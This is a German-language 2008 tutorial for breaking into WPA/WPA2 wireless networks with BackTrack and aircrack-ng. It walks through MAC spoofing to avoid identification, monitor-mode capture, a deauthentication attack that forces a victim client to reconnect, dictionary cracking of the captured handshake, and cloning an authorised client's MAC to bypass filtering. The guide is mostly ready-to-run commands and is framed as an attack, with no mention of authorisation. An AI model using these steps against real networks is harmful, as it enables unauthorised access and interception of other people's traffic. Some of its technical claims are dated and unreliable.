

WPA2 Hack mit oder ohne MAC Filter:

Allgemeines:

Software: BackTrack Remote Exploit V3
Chipset: ATHEROS (Cisco Aironet 802.11 a/b/g / NEC
WarpStar WL54AG, Netgear WG311T)

Umgebung:

- Boot von CD oder HD mit BT V3
- 64 MB free writeable Space
- 2 Shells (unter Xwindow geht's einfacher (startx))

Falls XWindows nit geht, konfigurieren mit "xconf" oder
„xorgconfig --textmode“

Abkürzungen:

- BT = BackTrack
- MAC = MAC Adresse
- AP = Accesspoint
- CL = Client
- IFC = Interface (**hier als ath0 Platzhalter**)
- FILE = Log file 2 store the packets
- CH = Channel
- DIC = Dictionary File (.dic or .txt)

Vorwort:

Der Hack funktioniert nur mit der Brute Force Methode.
Mein Core2Duo 3GHz crackt 420 Keys / Sek.
Ausserdem ist es egal ob WPA2 oder WPA. Ist zum
hacken identisch. Und es gehen nur WPA2 Verbindungen,
welche nach Norm „TKIP“ encryptet sind. AES geht nit.

Rahmenbedingungen:

- Accesspoint mit einigermaßen gutem Empfang
- min. ein Client, welcher sich mit dem AP verbindet.
- Ein Duden File (Dictionary File)

Hack it !

1) Wireless Device identifizieren

Damit wir wissen, wie unser Device heisst, einfach
„iwconfig“ eintippen. Bei Atheros heissen die Devices
immer athX.

2) Fake that MAC!

Als erstes verpassen wir unserer Wireless Karte eine
gefakte MAC Adresse um spätere Identifizierungen zu
vertuschen:

```
ifconfig IFC hw ether 00:11:22:33:44:55
```

3) Turn on Monitor Mode

Damit die Karte alle Pakete sieht, schalten wir sie in den
„Promiscuous Mode“

Man löscht den Monitormode auf device namens ath0 und
kreiert ihn noch mal über das device wifi0 das normale
device ath0 kann anschliessend verwendet werden.

```
airmon-ng stop ath0 (löscht moni mode)
```

```
airmon-ng start wifi0 (start moni mode auf ath0)
```

4) What is online ? (SHELL 1)

Man schaut sich nach AP's um welche aktiv sind. Am
besten ist es, wenn bereits Clients mit diesem AP
verbunden sind: (Man sieht das in der unteren Hälfte Mit
Stations und Clients)

```
airodump-ng -w FILE IFC
```

CTRL – C

5) Choose your enemy (SHELL 1)

Man merkt sich von dem zu hackenden AP die BSSID
sprich die MAC des AP. Man merkt sich den Channel auf
welchem der AP sendet.

Dann „hört“ man nur noch auf dem Channel und von der
BSSID den Funkverkehr ab und schreibt die Pakete in ein
CAP File. (DONT USE „-ivs“ Option!!)

```
airodump-ng -w FILE -c CH --bssid APMAC IFC
```

6) Waiting for a Handshake ! (SHELL 2)

Eigentlich könnte man so nun warten , bis man im
airodump-ng Fenster (SHELL 1) einen „Handshake“
bekommt. Der Angegriffene würde so nichts von allem
merken. Kann aber etwas dauern. Daher
beschleunigen wir das , indem wir den verbundenen
Client zum disconnecten zwingen.

Wie bekommt man einen verbunden Client dazu, sich
noch mal zu verbinden und dadurch einen

„Handshake“ zu senden? Ganz einfach. Wir sagen
dem AP „Hallo ich bin der Client und will mich

disconnecten“. Der richtige Client denkt sich: „

Scheisse , bin disconnected ! Muss mich gleich noch
mal verbinden!“ und sendet den „Handshake, welchen
wir mit SHELL 1 abspeichern.

Das Handshaking wird bei erfolg in der ersten Zeile
des Shells 1 angezeigt.

Um den richtigen Client zum disconnect zu zwingen,
folgender Befehl:

```
aireplay-ng -0 1 -a AP_MAC -c CL_MAC IFC
```

7) Crack the key! (SHELL 1)

Nun crackt man den Key aus den gespeicherten .cap
Paketen, indem man sie mit einem Duden File
vergleicht.

```
aircrack-ng -0 -x2 -w DIC FILE.cap
```

8) Connect to the hacked AP (SHELL2)

Bei MAC Filtred AP's nun eine MAC eines

authorisierten Clients auf die Wireless Karte setzen:

```
ifconfig IFC down hw ether CL_MAC (maybe reset IFC  
first)
```

dann verbindet man sich mit dem AP

für Maus und click Fans :

```
wlassistant
```

Für Shell Fans:

```
iwconfig IFC essid AP_NAME_SSID mode Managed  
key s:KEY_ASCII
```

```
ifconfig IFC up
```

```
iwpriv IFC authmode 2 (Zum verbinden, LED flackern)
```

```
dhcpcd IFC (Um Ip Adresse zu holen)
```

© 2008 by Celly – www.semtex.ch